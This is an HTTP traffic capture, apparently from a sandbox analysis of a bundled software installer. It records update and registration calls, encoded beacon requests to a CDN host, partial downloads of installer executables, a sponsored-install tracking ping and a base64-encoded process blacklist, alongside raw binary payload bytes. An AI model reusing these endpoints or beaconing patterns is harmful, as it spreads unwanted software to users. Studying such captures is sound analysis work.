 *p..f..?..W...........[..&......Rp.:.DHU;.ww=..}.O.Q..o....2.....4-..
.D..~...$F......v....5....A.t.M....2.-.De?q0..R9n.b...X...7..........-
...)^[email protected]*.-\...'...... .$6........c...[.b...A5.$V'.geh.\~..p.
..9.."..0....y..;....`..T./C...V..#u..#.1..0.v1.....s..ta.:o.I..%.n...
&A...F.X....H!M.....$,.P8....\..4..Pn,'....nhf.r.r.'hY.#...'.{ul8.....
..{...(.c..~....)...T.............MJD?k..]..?Ja:.. mR...^V....i.....M0
Hbb..sESG&Qi./.a...-./....w.s..^1.....mdT..d..2[..e..."...V...l.>`.
.G....0....`.5U.... ...p....DI... [email protected]......_K=IB.R=...j.P.....
.e2..jA} T. }-d.]..~kg\4....7...Bg...s.'.|$.a...L...i..]..............
.}[..........d.......yi..u.....*..T..^.j.....d....-.t....b.. W.o..#.22
c.Ne.G&J.Z.Q..N...G...6X2..%..`...n...._7...8.x,v...S.....=.g..)..Ft..
...}4~.^\^....l.,...8yZ..:........wVsL.V........x..;.....$..L.Z....6u.
#..W...6n....z5E1/...I.)..=A.z...k.D..8..NxY...c.E...C._[.T4.oQ.k:h...
?~W.b...Fw......X.O.S.|.<........`....6n-..9I.!.|..u;..a.A....\.Q..
.........$.>l.|.IW..F. .e.O.....J/Zo.b.?...O......i;qJ.0.....U.....
M..r..,[.G.|...]Uj".k.M%...I|U^.......h).]L.....&*v....T.@.<...>
..d...../......i..-.0...?..t..Oie..F..f#..0....hY...k#S..x.3.$.....wP 
.mO..#...KgQ..%.x.....5.4.{.s6.F#r.>.....>#....fST..{.jO!)j.....
..}..xa....U....!...q]..a.....f.........F.......L#....".......].......
....v8K....kh..qs......A.1SH...w.^r..!..'=..C....([email protected]
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=s4n5agnzyj3rnvbxdtskeb45


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



GET /1667.ashx?e=LCnUzM5l8JL2b5ZtEYATmB9V9BA5MHOiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jCvZJfV0k89y4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhd0qyZh7o5utwrMlDqNRTaUZyufAe/r4PSSODxTl6vkpv2VG tSTow4nSL7khl9oMvXFS8n4HuHoZzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgbVi  8z4nUW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /1667.ashx?e=yhrBLBbZM9XWk3RCzFhOxlUYtpyRSfeW7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vOePBktlGtNZz3HjAX5f3MvAhSGeG7OvN9JDpDz//pXKODQ8kqa2OFucXyuYdOQyoSUkNtPbd 8ESeoz7Hkuh qyr6cWz/EZwJI6UuKm5vnmlnJUYJYVYrwTrcQUQelv06c6Q6eVjXcW8z/5roOjSNLgAlgaMwDxP0B1wuX /yA6BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLxcnh8TNur0oiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKcqwZwxAX4ff HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIgX v6FJSWjmLUVyGRiJmmWZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuSnio7cfrtyvkRKJkRvweKgv bqruNv6DAPcbWvcDLLqd2GwOcS1mN6 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WX1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwYm9tG4FxWRj HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H30XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii1w0MU/DXWBP HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdryp/sUwP8UjkzdT/T0Mo01fmtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQliZexFjJS44GH02ZDTF81o7EaJf8CJfPgEgBl18xKcF6cXD R1QKA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO830SU44  VAZx7JfD/ZiMQyol6Hp9RdsFeXk7XK CmrNxcIlv44qhzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgT/NjI/ADPAQjKjHf0fty0jaP8uCRyw5tAmNZZ2BmWR2YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvFyeHxM26vSiI5papMGoV55tX2z9Nc4txq4itcuKeFMrOYc/zRYa8pyrBnDEBfh98= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=Ka qOJkckoXHjWHokC5IQIA D8trw5MJ7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vJ4OxRLqwrjFGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3rzdVa8AzUodyGF7cakCx09jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5KeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup3YbA5xLWY3o= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /1667.ashx?e=043Mckb8Lnhw7iCtSAyu/yxcBYBT1h/GR1XIUS4mz4VAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/pjkZwwc6dH7Uh 3ZGDmdW5pZis9f nTddyS4BuUDC9Ua9iR8Lp3n3ocq/LZ/7HCQEr28uHT2a1fiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WX1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwYm9tG4FxWRj HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=3347619-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 5579363
Content-Range: bytes 3347619-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
&.q6.....d.9y.-&xx.f.E..y.....0..7....F.g...T......j2..{..s.._....q^.?
.5.eo....v-<Sy..r%...v..... T....p.f... -.V..B.....D....X/t..D...D.
...w....s..0..,..k.....)..AmPI..1$.s.Cn.r.o..5:.!=.....m.0........Z..m
..y..?.c9......2.D...3j.{O]..if..6[.a.y........#..E./kH....a.....k.%^.
.].."....B.>[email protected].`|^.......Q..{..j.....>....Xh...(.Cl`...)
&..H.i672....D..!..4.R.....fI/<q.P(..c@Q..^.\Um..&S....."[h.~.J.=..
[email protected]..,N.4..
o..Q..q,...!Q5!......f.}p^....{w.......^..Z9.D...&..m..........l.S{.Gw
......d..0......c......%...^.@[email protected].,.}. ......(..,...\...6..
.........W....$@?~o*.7zXb.....P..g......O.0..'[email protected]....
.X....a.N.:....s_..<..G.#h...M.,..k"....yx.......E...s..\DY.,..L...
...N.M ..-s'i.$..S8.V..Y....M.uZ.K...^!.=p..m.5.R..=R....m;......S.9x.
.. !q...T..}`._m..X....7.p..0..L.!t.M..5....O....)%..&*l..:@.LO..[...a
d^C.w..(hJU'.X....:.(r.......T.whRZt......R.P.7.#\`E..Y...P.P.._B.c0.'
$...O...?..b...M.}u.ag.K8...1y.[.}[email protected]...[.......9.O.j
..L..,tK=.......3.m.8U. )..R..J.n=....V.H8.........t..............Am..
...T..p..8..a...l=bt.K)*........&.A.9....C.....0......Rq....#^5]f{0R..
.....ow..O.....:.0*.....,.......0T...F.71....t..5.....q.l..J..k.......
.#.....h.=..n...C...`..w"...y....K.)..w..K.p.-#{l....U...Gp_p.....7nM.
..|meV>G?.f.J.......q..m.vV.?{..t......~;.)..Wj.y..3/.....E....Z.. 
....uf.e.!.7\8...}(C...N..n..N.-... @..I0...ZGc..4....G0..]....l../<
;O.7|...........%...(.(jK.....d..[8..3..t'.?.G...7}.......b..3...H
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064933&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...



GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 98
<RESULT>.<USER>.<ID>7d5ca32b-c72e-44ea-92a3-4dba40a0
a6c6</ID>.<PW>Qss0KrCy</PW>.</USER>.</RESUL
T>...



GET /preload.php?hash=&1429064982698 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Referer: hXXp://grooveshark.com/JSQueue.swf?20130520
Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/json
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Host: grooveshark.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:43 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2; expires=Wed, 22-Apr-2015 02:29:42 GMT; Max-Age=604800; path=/; domain=.grooveshark.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Server: YouTwoAreWeird
X-Hostname: rhl194
Set-Cookie: ismobile=no;domain=.grooveshark.com;path=/
Cache-Control: private, proxy-revalidate
Content-Encoding: gzip
469b.............}.w.8....W...t.7....>.g.^?...8.ZN...9.@.,.M.Z>.
[email protected]....*.i2./2.%R.{/
[email protected]^DsY..2.E.&...z..I,.2{.......%.A.
u\.. .O.....aT.......r...T..Qe.u.&...Y..E=..........zf....7.Q9.....o.A
..!N...w.2).x.w.~Q.\.$.U..\.......r^..'.Mg..c?......O/b..[..eb...5....
..L...$/.P).KZ.....r]......H......f......t...C.vL..8......e..4.z..#...
x>[email protected]{.K.}LNa..-.L.<..X.............6.~.q.i..!'i6.
IzMN.......sOlT`.9...s.....'.?=.\w...t..s.....X...e.G.E.] ...U...uZ..(
....=.....P.'.>{..G2...z*.,..G....'..k.......vK.....x..x..|....P.u.
.o........iQ.EH...P...(.."...P.\.~..%.A .......\N.D..LN......X......&l
t;...Q..5.....6.l7X....{.A....".M.I..|G....8..$%.2.M..\..G.>uC.8.?.
.......y4..Bfr$..d..fS.y0......Fq<[email protected]...{......".{Y...SrX
K..#'..f.0#....E.w{"..,....wQ....&.W.F.sE.R`@e6n.A....-....&.........5
S...u4.dL>.......!..X.......N..a...^....-}......Gu..(I.. ..AX..r...
..3.9.%....d.~ ..fT...!...x*'eQf....X..m......j..!...!l..b...........\
...yD.].#x1.... .T......k.L^M..o.I..'|.Y..p..<..._.Oi:!`B.*.E..oL'.
;.......4U..8}.}...bP...TV.~..\..[...h_.[...q.........~.. ..q.-.6....j
.....L.#|...Y}..o.....&..)9#.d.H.&Io..p.............q..A6...<Mn....
@-MT......6.6.[lH..~...~.h..eR...a.<..)(.s5E.....0....>.Qx.d.R-.
Q...C.x..gD.j.H.Z...m.}......)P......f.c.........(...|..Sm^?F.WCD....k
@.Zes.....H. ;[..v0.z.Gu....v.Z.].2..*/..\jn.$o.....`.....X....5....P.
...1`wP..43...}...............y..A..\.........m*'{FR.=..Q...s].&d8
<<< skipped >>>


GET /s/abel/v6/3YEwT2a1878zysq92S8_9w.eot HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: fonts.gstatic.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: font/eot
Last-Modified: Thu, 28 Aug 2014 18:23:54 GMT
Date: Thu, 02 Apr 2015 04:17:28 GMT
Expires: Fri, 01 Apr 2016 04:17:28 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Server: sffe
Content-Length: 10793
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1116727
Alternate-Protocol: 80:quic,p=0.5
..........e.eL.\..w..eq/..NY..].w..RX......R..h.[..}.7.....;.3.$s..L..
[email protected][email protected]..........,.....rL....-........C..
....x.......%...............S..o...}.0.......8....e.N!Keg.i.2e.x$f....
.J"R..b.?m.I9X%.1.C.zI..Ah^aJ I.w..%S.A..NJ...!8...vIC..S..H...%......
GD..]...4m%%....n.R..i..n.T..$..W..E.Sm.-*[email protected].~%....1.9u.
...1V..{xh....I..H..4.i..N...B..1.......;.<......e.?/...1.Jy ..`;..
$...k.p....:.L.-.......r....s..\..1_X.h.I....$o....d.C.cga~F.-..F.....
?.0~...C.'.7d...r..3..}....&=......9...q..7.....x/^:.K..Ec.......f.hx(
X..:... ....... J......%KX..1..0.kNX:.W...).......J.z..2....4b.......2
'.Gm9e..wS.Tx.dS.....=....j#.}..V...c..s.H......#.....G.r......\:.E.61
..D.7... I...y.9g!...L.%...8J..3.^F.8....]BgG.,^i......?.88v...;....&g
t;l=\x...O{..N.D.A.K.....O.b]o.....,.5...lW-N;....11-X..'.:.%..j....".
G%V.....G..Xg.......n....0w-."[email protected].'....p$....G4..p....V.w.......[|.
....C.........h..bB.Qc.`..K..v.|...eK..7.Vj...z.....fv.&PB.K.T.2..|1..
.._x..5...O....l."...(h...............W..Q....D_.&U...S....5..].......
.6.k.=......^......i./:.F0./..r_.........9.......7!...a.."...s........
.....3'.lz...k..H.$...wF.7...tlUI.^aH.Q..K.eZ.....IF.]kj..0.....f|:...
.....R.....\Q.mG....]/<....}1.1.>...b(<.\B.\...}.e........o(.
.>.o.=F..z.J"...l.....Ua?S..a.".3-q@v...$.'F..lNn&~0..Sy*......Y...
..p.......R*....T.G%M?....i..Y.8'..,F..Z.k....b....S......P.%x...0W...
]@;O...l..W....W.C(.....<..^.Y.(t=.#s....5..7.I.....}....E3.{~.....
. .^...1.....A[.....1l.R....jYX...7.`b.`.F.......Wh....X...)...Qt"
<<< skipped >>>


POST /more.php?getCountry HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/json
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Referer: hXXp://grooveshark.com/
Host: grooveshark.com
Content-Length: 340

{"parameters":null,"header":{"session":"9e7e8f9c34d0b9e6ad4ee1bb681c57f2","clientRevision":"20130520","token":"9fa0c86d56155c92bbfb0622117586dbc7742442d35b87","client":"jsqueue","uuid":"72C9BD03-DCCA-4471-A0B5-D259C0A2BBB1","country":{"CC2":"0","DMA":"0","ID":"1","CC1":"0","CC3":"0","CC4":"0","IPR":"1"},"privacy":0},"method":"getCountry"}
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:44 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2; expires=Wed, 22-Apr-2015 02:29:44 GMT; Max-Age=604800; path=/; domain=.grooveshark.com; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Server: DatYoshiSwaggle
X-Hostname: rhl110
Set-Cookie: ismobile=no;domain=.grooveshark.com;path=/
Cache-Control: private, proxy-revalidate
Content-Encoding: gzip
74..............A.. .E...7v ........PL.........{.IQ..O4.......[r.fu...
.%M..f.}M3..$.r.Y...f.........r.J.:..Y....!I..k.....0..



GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.4506188523473853 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:29:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=261648-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 261648-523295/523296
Content-Length: 261648
Connection: keep-alive
Q..'.?}..H.N.&08..$P../9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`
..{......_.=....5..Nc..r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l.
.....`7....=WK{.<Q....#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.
e...{H.:.k&...l.V.p4....</{[email protected].@.....>B..y....
7....Q...=..(..........G..... ....o'...J.E%.K.;......d.....S..w.vJ....
..:..(^...G....Z.Y3{s...S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%
..;0c....?.f.>.Ry...h.p...<..k..x.'...[9......b...9.q-FA...4.]..
.SFo..=....S...z..C/..].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M..
..q]..aF.i...f.2.z....c.w#.."d2...*>..z...r......s..<..0...F..b.
I.mjD.;.V.v....R.....@.]c....R..U.df.....|....).>......Q....*....;C
